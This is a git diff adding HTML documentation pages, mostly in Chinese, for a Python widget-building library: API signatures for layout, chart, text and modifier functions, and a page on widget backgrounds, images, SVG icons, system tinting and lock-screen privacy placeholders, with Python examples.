+
+

#w.column

+
+
+ text +
+
+
w.column(
+    spacing: Optional[Union[int, float]] = None,
+    align: Optional[str] = None,
+) -> WidgetContainer
+
+

#w.container_background

+
+
+ text +
+
+
w.container_background(
+    value: Optional[WidgetBackground] = None,
+    *,
+    removable: Optional[bool] = None,
+) -> "Widget"
+
+

#w.content_margins

+
+
+ text +
+
+
w.content_margins(
+    enabled: bool = True,
+    padding: Optional[Union[int, float, Sequence[float], Dict[str, float]]] = None,
+) -> "Widget"
+
+

#w.context

+
+
+ text +
+
+
w.context -> WidgetContext
+
+

#w.countdown

+
+
+ text +
+
+
w.countdown(
+    title: Optional[Union[str, int, float]] = "Countdown",
+    target: Optional[Union[datetime, str]] = None,
+    subtitle: Optional[Union[str, int, float]] = None,
+    icon: Optional[str] = None,
+    tone: Optional[str] = None,
+    accent: Optional[ColorLike] = None,
+) -> WidgetBlock
+
+

#w.date

+
+
+ text +
+
+
w.date(target: Optional[Union[datetime, str]] = None, style: str = "date") -> WidgetNode
+
+

#w.divider

+
+
+ text +
+
+
w.divider(color: Optional[ColorLike] = None, opacity: Optional[float] = None, ) -> WidgetNode
+
+

#w.dynamic_date

+
+
+ text +
+
+
w.dynamic_date(target: Optional[Union[datetime, str]] = None, style: str = "date") -> WidgetNode
+
+

#w.flip

+
+
+ text +
+
+
w.flip(
+    value: Any,
+    previous: Optional[Any] = None,
+    *,
+    direction: str = "up",
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+    size: Optional[float] = None,
+    weight: str = "bold",
+    color: Optional[ColorLike] = None,
+    background: Optional[WidgetBackground] = None,
+    corner_radius: Optional[float] = None,
+    duration: float = 0.55,
+    delta: Optional[float] = None,
+    perspective: float = 0.62,
+    shadow_opacity: float = 0.18,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    design: Optional[str] = "monospaced",
+) -> WidgetNode
+
+

#w.grid

+
+
+ text +
+
+
w.grid(
+    columns: int = 2,
+    spacing: Optional[Union[int, float]] = None,
+    row_spacing: Optional[Union[int, float]] = None,
+    column_spacing: Optional[Union[int, float]] = None,
+    align: Optional[str] = None,
+    padding: Optional[Union[int, float]] = None,
+    background: Optional[WidgetBackground] = None,
+    opacity: Optional[float] = None,
+    corner_radius: Optional[float] = None,
+    border_color: Optional[ColorLike] = None,
+    border_width: Optional[float] = None,
+    url: Optional[str] = None,
+    shadow_color: Optional[ColorLike] = None,
+    shadow_radius: Optional[float] = None,
+    shadow_x: float = 0,
+    shadow_y: float = 2,
+    rows: Optional[int] = None,
+    equal: bool = False,
+    fill: bool = False,
+) -> WidgetContainer
+
+

#w.image

+
+
+ text +
+
+
w.image(
+    name: Optional[ImageLike] = None,
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+    corner_radius: Optional[float] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    content_mode: Optional[str] = None,
+    *,
+    light: Optional[str] = None,
+    dark: Optional[str] = None,
+    rendering_mode: Optional[str] = None,
+) -> WidgetNode
+
+

#w.layer

+
+
+ text +
+
+
w.layer(
+    align: str = "center",
+    padding: Optional[Union[int, float]] = None,
+    background: Optional[WidgetBackground] = None,
+    corner_radius: Optional[float] = None,
+) -> WidgetContainer
+
+

#w.line_chart

+
+
+ text +
+
+
w.line_chart(
+    values: List[Union[int, float]],
+    color: Optional[ColorLike] = None,
+    height: Optional[float] = None,
+    min_value: Optional[float] = None,
+    max_value: Optional[float] = None,
+    fill: bool = True,
+    show_points: bool = True,
+    line_width: Optional[float] = None,
+    track_color: Optional[ColorLike] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    segment_colors: Optional[List[ColorLike]] = None,
+    baseline: Optional[float] = None,
+    threshold: Optional[float] = None,
+    labels: Optional[Union[List[Any], Dict[str, Any]]] = None,
+    label_color: Optional[ColorLike] = None,
+) -> WidgetNode
+
+ +
+
+ text +
+
+
w.link(
+    title: str,
+    url: str,
+    icon: Optional[str] = None,
+    color: Optional[ColorLike] = None,
+) -> Union[WidgetNode, WidgetContainer]
+
+

#w.list

+
+
+ text +
+
+
w.list(
+    items: List[Any],
+    title: Optional[Union[str, int, float]] = None,
+    limit: Optional[int] = None,
+    empty_text: Optional[Union[str, int, float]] = None,
+    dividers: bool = False,
+) -> WidgetContainer
+
+

#w.path

+
+
+ text +
+
+
w.path(
+    points: List[PathPoint],
+    stroke: Optional[ColorLike] = None,
+    fill: Optional[ColorLike] = None,
+    line_width: Optional[Union[float, str]] = None,
+    closed: bool = False,
+    height: Optional[float] = None,
+    coordinate_space: str = "relative",
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    line_cap: Optional[str] = None,
+    line_join: Optional[str] = None,
+    dash: Optional[Sequence[float]] = None,
+    miter_limit: Optional[float] = None,
+) -> WidgetNode
+
+

#w.progress

+
+
+ text +
+
+
w.progress(
+    value: Union[int, float],
+    total: float = 1.0,
+    color: Optional[ColorLike] = None,
+    height: Optional[float] = None,
+    track_color: Optional[ColorLike] = None,
+    *,
+    title: Optional[str] = None,
+    subtitle: Optional[str] = None,
+    unit: Optional[str] = None,
+    icon: Optional[str] = None,
+    tone: Optional[str] = None,
+    accent: Optional[str] = None,
+    style: Optional[str] = None,
+) -> WidgetNode
+
+

#w.rect

+
+
+ text +
+
+
w.rect(
+    color: Optional[ColorLike] = None,
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+    corner_radius: Optional[float] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    border_color: Optional[ColorLike] = None,
+    border_width: Optional[float] = None,
+) -> WidgetNode
+
+

#w.region

+
+
+ text +
+
+
w.region(
+    slot: str = "center",
+    spacing: Optional[Union[int, float]] = None,
+    align: Optional[str] = None,
+) -> WidgetContainer
+
+

#w.relative_time

+
+
+ text +
+
+
w.relative_time(target: Optional[Union[datetime, str]] = None) -> WidgetNode
+
+

#w.render

+
+
+ text +
+
+
w.render(url: Optional[str] = None) -> None
+
+

#w.rich_text

+
+
+ text +
+
+
w.rich_text(
+    parts: List[RichTextPart],
+    size: Optional[float] = None,
+    weight: Optional[str] = None,
+    color: Optional[ColorLike] = None,
+    align: Optional[str] = None,
+    max_lines: Optional[int] = None,
+    design: Optional[str] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    minimum_scale_factor: Optional[float] = None,
+    font_width: Optional[str] = None,
+) -> WidgetNode
+
+

#w.ring_chart

+
+
+ text +
+
+
w.ring_chart(
+    value: Union[int, float],
+    total: float = 1.0,
+    label: Optional[str] = None,
+    color: Optional[ColorLike] = None,
+    track_color: Optional[ColorLike] = None,
+    size: Optional[float] = None,
+    line_width: Optional[float] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+) -> WidgetNode
+
+

#w.row

+
+
+ text +
+
+
w.row(
+    spacing: Optional[Union[int, float]] = None,
+    align: Optional[str] = None,
+) -> WidgetContainer
+
+

#w.section

+
+
+ text +
+
+
w.section(
+    title: Optional[Union[str, int, float]] = None,
+    spacing: Optional[Union[int, float]] = None,
+    subtitle: Optional[Union[str, int, float]] = None,
+    style: Optional[str] = None,
+) -> WidgetContainer
+
+

#w.shape

+
+
+ text +
+
+
w.shape(
+    kind: str = "rectangle",
+    color: Optional[ColorLike] = None,
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+    size: Optional[float] = None,
+    corner_radius: Optional[float] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    border_color: Optional[ColorLike] = None,
+    border_width: Optional[float] = None,
+    shadow_color: Optional[ColorLike] = None,
+    shadow_radius: Optional[float] = None,
+    shadow_x: float = 0,
+    shadow_y: float = 2,
+    stroke_color: Optional[ColorLike] = None,
+    stroke_width: Optional[Union[float, str]] = None,
+    dash: Optional[Sequence[float]] = None,
+    line_cap: Optional[str] = None,
+    line_join: Optional[str] = None,
+    miter_limit: Optional[float] = None,
+    top_leading_radius: Optional[float] = None,
+    top_trailing_radius: Optional[float] = None,
+    bottom_leading_radius: Optional[float] = None,
+    bottom_trailing_radius: Optional[float] = None,
+) -> WidgetNode
+
+

#w.spacer

+
+
+ text +
+
+
w.spacer(length: Optional[Union[int, float]] = None) -> WidgetNode
+
+

#w.surface

+
+
+ text +
+
+
w.surface(
+    role: str = "panel",
+    spacing: Optional[Union[int, float]] = None,
+    align: Optional[str] = None,
+    padding: Optional[Union[int, float]] = None,
+    background: Optional[WidgetBackground] = None,
+    corner_radius: Optional[float] = None,
+    border_color: Optional[ColorLike] = None,
+    border_width: Optional[float] = None,
+    shadow_color: Optional[ColorLike] = None,
+    shadow_radius: Optional[float] = None,
+) -> WidgetContainer
+
+

#w.svg

+
+
+ text +
+
+
w.svg(
+    name: Optional[ImageLike] = None,
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+    color: Optional[ColorLike] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    content_mode: str = "fit",
+    *,
+    light: Optional[str] = None,
+    dark: Optional[str] = None,
+) -> WidgetNode
+
+

#w.symbol

+
+
+ text +
+
+
w.symbol(
+    name: str,
+    rendering: Optional[str] = None,
+    palette: Optional[Sequence[ColorLike]] = None,
+    variant: Optional[str] = None,
+    scale: Optional[str] = None,
+) -> WidgetNode
+
+

#w.table

+
+
+ text +
+
+
w.table(
+    rows: int,
+    columns: int,
+    *,
+    line_color: Optional[ColorLike] = None,
+    line_width: Union[float, str] = "hairline",
+    line_cap: str = "butt",
+    line_join: str = "miter",
+    dash: Optional[Sequence[float]] = None,
+    miter_limit: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+    background: Optional[WidgetBackground] = None,
+    opacity: Optional[float] = None,
+    corner_radius: Optional[float] = None,
+    border: bool = True,
+    fill: bool = True,
+    align: str = "center",
+) -> Table
+
+

#w.text

+
+
+ text +
+
+
w.text(
+    content: Union[str, int, float],
+    size: Optional[float] = None,
+    weight: Optional[str] = None,
+    color: Optional[ColorLike] = None,
+    align: Optional[str] = None,
+    max_lines: Optional[int] = None,
+    design: Optional[str] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    minimum_scale_factor: Optional[float] = None,
+    font_width: Optional[str] = None,
+) -> WidgetNode
+
+

#w.time

+
+
+ text +
+
+
w.time(target: Optional[Union[datetime, str]] = None) -> WidgetNode
+
+

#w.timeline

+
+
+ text +
+
+
w.timeline(
+    entries: Optional[List[Dict[str, Any]]] = None,
+    *,
+    update: str = "after",
+    after: Any = None,
+    interval: Optional[float] = None,
+) -> "Widget"
+
+

#w.timer_text

+
+
+ text +
+
+
w.timer_text(target: Optional[Union[datetime, str]] = None) -> WidgetNode
+
+

#w.title

+
+
+ text +
+
+
w.title(content: Union[str, int, float]) -> WidgetNode
+
+

#w.toggle

+
+
+ text +
+
+
w.toggle(
+    title: Optional[str] = None,
+    is_on: Union[bool, str] = False,
+    action: Optional[Union[str, WidgetAction]] = None,
+    url: Optional[str] = None,
+    color: Optional[ColorLike] = None,
+    background: Optional[WidgetBackground] = None,
+    size: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    *,
+    value: Optional[Union[bool, str]] = None,
+    state: Optional[State[bool]] = None,
+    style: Optional[str] = None,
+    layout: Optional[str] = None,
+    press: Optional[Dict[str, Any]] = None,
+    normal: Optional[Dict[str, Any]] = None,
+) -> WidgetNode
+
+

#w.transparent_background

+
+
+ text +
+
+
w.transparent_background(enabled: bool = True) -> "Widget"
+
+

#w.unless

+
+
+ text +
+
+
w.unless(*families: str, layout: str = "layer") -> WidgetContainer
+
+

#w.validate

+
+
+ text +
+
+
w.validate(family: Optional[str] = None) -> Dict[str, Any]
+
+

#w.value

+
+
+ text +
+
+
w.value(
+    value: Union[str, int, float, State[int], State[float], State[str], State[str]],
+    unit: Optional[str] = None,
+    subtitle: Optional[str] = None,
+    format: Optional[str] = None,
+) -> WidgetNode
+
+

#w.when

+
+
+ text +
+
+
w.when(*families: str, layout: str = "layer") -> WidgetContainer
+
+

#修饰符

+

#.accentable

+
+
+ text +
+
+
.accentable(enabled: bool = True) -> Self
+
+

#.accessibility

+
+
+ text +
+
+
.accessibility(
+    label: Optional[str] = None,
+    value: Optional[str] = None,
+    hint: Optional[str] = None,
+    hidden: Optional[bool] = None,
+) -> Self
+
+

#.align

+
+
+ text +
+
+
.align(value: str) -> Self
+
+

#.animation

+
+
+ text +
+
+
.animation(
+    value: str = "default",
+    *,
+    duration: Optional[float] = None,
+    value_by: Optional[Any] = None,
+) -> Self
+
+

#.background

+
+
+ text +
+
+
.background(value: WidgetBackground) -> Self
+
+

#.bar_spacing

+
+
+ text +
+
+
.bar_spacing(value: float) -> Self
+
+

#.baseline

+
+
+ text +
+
+
.baseline(value: float = 0, color: Optional[ColorLike] = None) -> Self
+
+

#.button_style

+
+
+ text +
+
+
.button_style(value: str = "plain") -> Self
+
+

#.capsule

+
+
+ text +
+
+
.capsule(tone: Optional[str] = None, padding: Optional[Union[int, float]] = None, ) -> Self
+
+

#.clip

+
+
+ text +
+
+
.clip(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self
+
+

#.clip_shape

+
+
+ text +
+
+
.clip_shape(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self
+
+

#.color

+
+
+ text +
+
+
.color(value: ColorLike) -> Self
+
+

#.compressed

+
+
+ text +
+
+
.compressed(enabled: bool = True) -> Self
+
+

#.content_transition

+
+
+ text +
+
+
.content_transition(value: str = "opacity") -> Self
+
+

#.control_layout

+
+
+ text +
+
+
.control_layout(value: str = "overlay") -> Self
+
+

#.control_style

+
+
+ text +
+
+
.control_style(value: str = "plain") -> Self
+
+

#.corner_radius

+
+
+ text +
+
+
.corner_radius(value: float) -> Self
+
+

#.fill

+
+
+ text +
+
+
.fill(enabled: bool = True) -> Self
+
+

#.fixed_size

+
+
+ text +
+
+
.fixed_size(horizontal: bool = True, vertical: bool = True) -> Self
+
+

#.font

+
+
+ text +
+
+
.font(
+    value: Optional[Union[str, int, float, Dict[str, Any]]] = None,
+    *,
+    size: Optional[Union[float, Dict[str, Any]]] = None,
+    weight: Optional[str] = None,
+    **size_values: Any,
+) -> Self
+
+

#.font_size

+
+
+ text +
+
+
.font_size(size: float) -> Self
+
+

#.font_style

+
+
+ text +
+
+
.font_style(style: str) -> Self
+
+

#.font_weight

+
+
+ text +
+
+
.font_weight(weight: str) -> Self
+
+

#.font_width

+
+
+ text +
+
+
.font_width(width: str) -> Self
+
+

#.frame

+
+
+ text +
+
+
.frame(
+    x: float = 0,
+    y: float = 0,
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+    *,
+    inset: Union[int, float] = 0,
+) -> _CanvasFrame
+
+

#.grid

+
+
+ text +
+
+
.grid(
+    rows: int,
+    columns: int,
+    *,
+    padding: Union[int, float] = 0,
+    gap: Union[int, float] = 0,
+    row_gap: Optional[float] = None,
+    column_gap: Optional[float] = None,
+    line_width: Optional[float] = None,
+    border: bool = False,
+    x: float = 0,
+    y: float = 0,
+    width: Optional[float] = None,
+    height: Optional[float] = None,
+) -> CanvasGrid
+
+

#.guide_lines

+
+
+ text +
+
+
.guide_lines(count: Union[bool, int] = True, color: Optional[ColorLike] = None) -> Self
+
+

#.height

+
+
+ text +
+
+
.height(value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self
+
+

#.hide

+
+
+ text +
+
+
.hide(*families: str) -> Self
+
+

#.id

+
+
+ text +
+
+
.id(value: Any) -> Self
+
+

#.importance

+
+
+ text +
+
+
.importance(value: str = "primary") -> Self
+
+

#.intent

+
+
+ text +
+
+
.intent(action: Union[str, WidgetAction]) -> Self
+
+

#.labels

+
+
+ text +
+
+
.labels(
+    start: Optional[Union[str, int, float]] = None,
+    end: Optional[Union[str, int, float]] = None,
+    color: Optional[ColorLike] = None,
+) -> Self
+
+

#.layout_priority

+
+
+ text +
+
+
.layout_priority(value: float = 1) -> Self
+
+

#.line_limit

+
+
+ text +
+
+
.line_limit(value: int) -> Self
+
+

#.line_width

+
+
+ text +
+
+
.line_width(value: Union[float, str]) -> Self
+
+ +
+
+ text +
+
+
.link(url: str) -> Self
+
+

#.mask

+
+
+ text +
+
+
.mask(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self
+
+

#.mask_view

+
+
+ text +
+
+
.mask_view(align: str = "center") -> WidgetContainer
+
+

#.min_scale

+
+
+ text +
+
+
.min_scale(value: float) -> Self
+
+

#.monospaced

+
+
+ text +
+
+
.monospaced(enabled: bool = True) -> Self
+
+

#.monospaced_digit

+
+
+ text +
+
+
.monospaced_digit(enabled: bool = True) -> Self
+
+

#.normal

+
+
+ text +
+
+
.normal(**style: Any) -> Self
+
+

#.offset

+
+
+ text +
+
+
.offset(x: float = 0, y: float = 0) -> Self
+
+

#.opacity

+
+
+ text +
+
+
.opacity(value: float) -> Self
+
+

#.overflow

+
+
+ text +
+
+
.overflow(
+    action: Optional[str] = None,
+    *,
+    importance: Optional[str] = None,
+    preserve: Optional[bool] = None,
+) -> Self
+
+

#.overlay

+
+
+ text +
+
+
.overlay(color: ColorLike = "#000000", opacity: float = 0.18) -> Self
+
+

#.overlay_view

+
+
+ text +
+
+
.overlay_view(align: str = "center") -> WidgetContainer
+
+

#.padding

+
+
+ text +
+
+
.padding(
+    value: Optional[Union[int, float]] = None,
+    *,
+    horizontal: Optional[float] = None,
+    vertical: Optional[float] = None,
+    top: Optional[float] = None,
+    leading: Optional[float] = None,
+    bottom: Optional[float] = None,
+    trailing: Optional[float] = None,
+) -> Self
+
+

#.palette

+
+
+ text +
+
+
.palette(colors: Sequence[ColorLike]) -> Self
+
+

#.pixel_perfect_center

+
+
+ text +
+
+
.pixel_perfect_center(enabled: bool = True) -> Self
+
+

#.place

+
+
+ text +
+
+
.place(x: Optional[float] = None, y: Optional[float] = None, unit: str = "relative") -> Self
+
+

#.plain

+
+
+ text +
+
+
.plain(enabled: bool = True) -> Self
+
+

#.points

+
+
+ text +
+
+
.points(enabled: bool = True) -> Self
+
+

#.position

+
+
+ text +
+
+
.position(x: Optional[float] = None, y: Optional[float] = None, unit: str = "points") -> Self
+
+

#.preserve

+
+
+ text +
+
+
.preserve(enabled: bool = True) -> Self
+
+

#.pressed

+
+
+ text +
+
+
.pressed(**style: Any) -> Self
+
+

#.privacy_sensitive

+
+
+ text +
+
+
.privacy_sensitive(enabled: bool = True) -> Self
+
+

#.redacted

+
+
+ text +
+
+
.redacted(reason: str = "placeholder") -> Self
+
+

#.rendering

+
+
+ text +
+
+
.rendering(mode: str, colors: Optional[Sequence[ColorLike]] = None) -> Self
+
+

#.reverse_mask

+
+
+ text +
+
+
.reverse_mask(kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self
+
+

#.rotate

+
+
+ text +
+
+
.rotate(degrees: float) -> Self
+
+

#.rotation

+
+
+ text +
+
+
.rotation(degrees: float) -> Self
+
+

#.scale

+
+
+ text +
+
+
.scale(value: Union[float, str]) -> Self
+
+

#.segment_colors

+
+
+ text +
+
+
.segment_colors(colors: List[ColorLike]) -> Self
+
+

#.shadow

+
+
+ text +
+
+
.shadow(color: ColorLike = "#000000", radius: float = 4, x: float = 0, y: float = 2, ) -> Self
+
+

#.slot

+
+
+ text +
+
+
.slot(value: str) -> Self
+
+

#.soft_background

+
+
+ text +
+
+
.soft_background(
+    tone: Optional[str] = None,
+    corner_radius: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+) -> Self
+
+

#.stroke

+
+
+ text +
+
+
.stroke(
+    color: Optional[ColorLike] = None,
+    *,
+    width: Optional[Union[float, str]] = None,
+    dash: Optional[Sequence[float]] = None,
+    cap: Optional[str] = None,
+    join: Optional[str] = None,
+    miter_limit: Optional[float] = None,
+) -> Self
+
+

#.threshold

+
+
+ text +
+
+
.threshold(value: float, color: Optional[ColorLike] = None) -> Self
+
+

#.toggle_style

+
+
+ text +
+
+
.toggle_style(value: str = "checkbox") -> Self
+
+

#.tone

+
+
+ text +
+
+
.tone(value: str) -> Self
+
+

#.track_color

+
+
+ text +
+
+
.track_color(value: ColorLike) -> Self
+
+

#.transition

+
+
+ text +
+
+
.transition(value: str = "opacity", edge: Optional[str] = None) -> Self
+
+

#.variant

+
+
+ text +
+
+
.variant(value: str) -> Self
+
+

#.width

+
+
+ text +
+
+
.width(value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self
+
+

#内容和文字

+

文字节点返回的是可继续修改的句柄:

+
+
+ python +
+
+
w.text("ADHD Bingo", size=28, weight="bold", color="#242326") \
+    .line_limit(1) \
+    .min_scale(0.7)
+
+

数值用 value(),需要数字变化动画时加 content_transition("numericText") 和稳定身份:

+
+
+ python +
+
+
w.value(count, format="{} 次") \
+    .id("count") \
+    .monospaced_digit() \
+    .content_transition("numericText") \
+    .line_limit(1) \
+    .min_scale(0.7)
+
+

#修饰顺序

+

推荐顺序是:内容 -> 字体和颜色 -> 尺寸 -> 位置 -> 动画或交互。

+
+
+ python +
+
+
w.text("喝水") \
+    .font_size(16) \
+    .color("#242326") \
+    .line_limit(1) \
+    .min_scale(0.7) \
+    .frame(width=72, height=44) \
+    .place(120, 80, unit="points")
+
+

#什么时候用精确布局

+

信息卡、进度卡、列表优先用 row()column()grid()。需要做表格、键盘、翻页钟、海报式排版时,用 table()canvas().frame().place() 读取 w.context 后按点位布局。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-appearance-assets/index.html b/docs/docs/pages/widget-appearance-assets/index.html new file mode 100644 index 0000000..52ea8cf --- /dev/null +++ b/docs/docs/pages/widget-appearance-assets/index.html @@ -0,0 +1,608 @@ + + + + + + widget 资源与外观 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget 资源与外观

+

渐变/双色背景、accentable 染色、图片/SVG/Symbol、透明与隐私占位。

+
+ +
+

WidgetKit 负责浅色/深色、透明、系统染色(Tinted)等外观策略。脚本只声明意图——颜色、背景、图标、图片路径——不要用手写遮罩去模拟系统行为。

+
边界:本篇讲背景、图标、图片、SVG 与 .accentable() 等外观 API。可调默认配色用 widget.param;布局防裁切见 布局与尺寸
+

#本篇目标

+
说明
背景纯色、(浅色, 深色)、渐变 dictbackground_image
系统表面container_backgroundtransparent_backgroundcontent_margins
图标w.symbol(SF Symbol)、w.svg(矢量文件)
位图w.imagewidget.param.filewidget.save_image
染色.accentable(True/False) 控制是否参与系统 Tinted
隐私.privacy_sensitive().redacted() 锁屏占位
+
+

#快速开始

+

渐变根背景 + 浅色文字,无需外部图片即可预览。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+w = widget.Widget(
+    background={
+        "gradient": ["#4F46E5", "#7C3AED", "#DB2777"],
+        "direction": "vertical",
+    },
+    padding=16,
+)
+with w.row(spacing=10):
+    w.symbol("sparkles", scale="medium").color("#FFFFFF")
+    w.text("今日灵感", size=16, weight="semibold", color="#FFFFFF").line_limit(1)
+w.text("写一段只给自己的话", size=13, color="#E0E7FF").line_limit(2).min_scale(0.72)
+w.render()
+
+

要点:

+
  • Widget(background=...) 支持单色、("#F8FAFC", "#0F172A") 双色、或 {"gradient": [...], "direction": "vertical"}
  • 文字颜色可写十六进制或语义名 "secondary"(随系统外观变化)。
  • 渐变方向常用 "vertical" / "horizontal"
+
+

#心智模型

+
+
+ text +
+
+
脚本声明外观意图(颜色 / 背景 / 资源路径 / accentable)
+              ↓
+    PythonIDE 生成 Widget IR + 资源清单
+              ↓
+    WidgetKit 按系统外观(浅色 / 深色 / Tinted / 透明)渲染
+
+

#背景 API 怎么选

+
API作用
Widget(background=...)卡片内容区底色(纯色 / 双色 / 渐变)
w.container_background(..., removable=)系统 Widget 容器背景(可请求移除)
w.background_image(...)铺满容器的背景图 + 遮罩
w.transparent_background(True)请求透明(宿主是否允许由系统决定)
w.content_margins(False)边到边布局,去掉系统内容边距
+

普通卡片用 Widget(background=...);需要照片墙时用 background_image;需要融入主屏壁纸时组合 transparent_background + container_background(..., removable=True)

+

#资源路径约定

+
来源写法
脚本同目录"cover.jpg"
assets/ 子目录"assets/icon.svg"
用户文件参数widget.param.file("封面", "assets/cover.jpg", extensions=[...])
运行时注册widget.save_image(url_or_bytes, "avatar")w.image("avatar")
远程 URLw.image("https://example.com/pic.png")(需网络,注意缓存)
+

深色模式应为图片提供 dark 变体,不要只靠压暗浅色图。

+
+

#外观示例

+

#系统染色(accentable

+

Tinted / 强调色模式下,只有 .accentable(True) 的节点会跟随系统染色;标题等需保持自定义色时显式 .accentable(False)

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+show = widget.param.text("标题", "专注电台")
+subtitle = widget.param.text("副标题", "深度工作 · 25 分钟")
+
+w = widget.Widget(background=("#F8FAFC", "#0F172A"), padding=14)
+w.container_background(("#F8FAFC", "#0F172A"), removable=True)
+w.content_margins(False)
+(
+    w.text(show, size=16, weight="semibold")
+    .line_limit(1)
+    .min_scale(0.72)
+    .accentable(False)
+)
+(
+    w.text(subtitle, size=12, color="secondary")
+    .line_limit(1)
+    .min_scale(0.72)
+    .accentable(False)
+)
+(
+    w.symbol(
+        "waveform.circle.fill",
+        rendering="palette",
+        palette=["#F59E0B", "#2563EB"],
+        variant="fill",
+        scale="large",
+    )
+    .accentable(True)
+)
+w.render()
+
+
  • w.container_background(..., removable=True):允许系统在支持场景移除容器底。
  • w.symbol(..., rendering="palette", palette=[...]):SF Symbol 多色渲染。
  • 图标参与染色 → .accentable(True);文案保持设计色 → .accentable(False)
+

#分层卡片(layer 背景)

+

layer 叠一块圆角面板,不必整张 Widget 都上色。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+accent = widget.param.color("面板强调", "#10B981")
+task = widget.param.text("待办", "整理发票拍照")
+
+w = widget.Widget(background=("#F1F5F9", "#020617"), padding=14)
+w.text("桌面便签", size=14, color="secondary").line_limit(1)
+with w.layer(background=("#FFFFFF", "#1E293B"), corner_radius=12, padding=12):
+    with w.row(spacing=8):
+        w.symbol("checkmark.circle").color(accent).font_size(18)
+        w.text(task, size=15, weight="semibold").line_limit(1).min_scale(0.72)
+    w.text("下班前完成", size=12, color="secondary").line_limit(1)
+w.render()
+
+

#图片背景(background_image + 文件参数)

+

浅色/深色各选一张图;scrim="bottom" 在底部加渐变遮罩,保证白字可读。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+light_bg = widget.param.file("浅色背景", "", extensions=["jpg", "jpeg", "png"])
+dark_bg = widget.param.file("深色背景", "", extensions=["jpg", "jpeg", "png"])
+title = widget.param.text("标题", "周末登山")
+
+w = widget.Widget(padding=14)
+w.background_image(
+    (light_bg, dark_bg),
+    content_mode="fill",
+    focal="center",
+    scrim="bottom",
+    scrim_opacity=0.48,
+)
+w.text(title, size=18, weight="bold", color="#FFFFFF").line_limit(1).min_scale(0.72)
+w.text("海拔 1280m", size=12, color="#E2E8F0").line_limit(1)
+w.render()
+
+
  • 预览侧栏用文件参数选图;路径相对于 widget 脚本或项目 assets/
  • focal="topTrailing" 等控制 fill 裁剪焦点;content_mode="fit" 可整张展示不裁剪。
+

#头像位图(w.image

+

角标/封面用 w.image;支持圆角与浅色/深色双资源。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+avatar = widget.param.file("头像", "", extensions=["png", "jpg", "jpeg"])
+frame = widget.family_value(44, small=36, large=52)
+
+w = widget.Widget(background=("#FFFFFF", "#111827"), padding=14)
+with w.row(spacing=12):
+    w.image(avatar, width=frame, height=frame, corner_radius=frame / 2, content_mode="fill")
+    with w.column(spacing=4):
+        w.text("Py 开发者", size=15, weight="semibold").line_limit(1).min_scale(0.72).line_limit(1)
+        w.text("本周 commit +12", size=12, color="secondary").line_limit(1)
+w.render()
+
+

若有两张图,可写 w.image(light="avatar-light.png", dark="avatar-dark.png", ...) 或元组 w.image(("light.png", "dark.png"), ...)

+

#SVG 图标(w.svg

+

适合单色可着色的矢量角标;文件放 assets/ 或通过 param.file 选择。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+icon = widget.param.file("图标", "", extensions=["svg"])
+accent = widget.param.color("图标色", "#22C55E")
+size = widget.family_value(28, small=24, large=32)
+
+w = widget.Widget(background=("#FAFAFA", "#1C1C1E"), padding=14)
+with w.row(spacing=10):
+    w.svg(icon, width=size, height=size, color=accent, content_mode="fit")
+    with w.column(spacing=2):
+        w.text("自定义 SVG", size=15, weight="semibold").line_limit(1).min_scale(0.72).line_limit(1)
+        w.text("path + viewBox 图标", size=12, color="secondary").line_limit(1)
+w.render()
+
+

预览侧栏选本地 .svg 文件;简单场景优先 w.symbol(...),免维护文件。

+

#隐私占位(锁屏敏感信息)

+

步数等敏感数字在锁屏可模糊;与 时间线和动画numericText 可叠加。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+steps = widget.state.int("steps", 8420)
+
+w = widget.Widget(background=("#F0FDF4", "#14532D"), padding=14)
+(
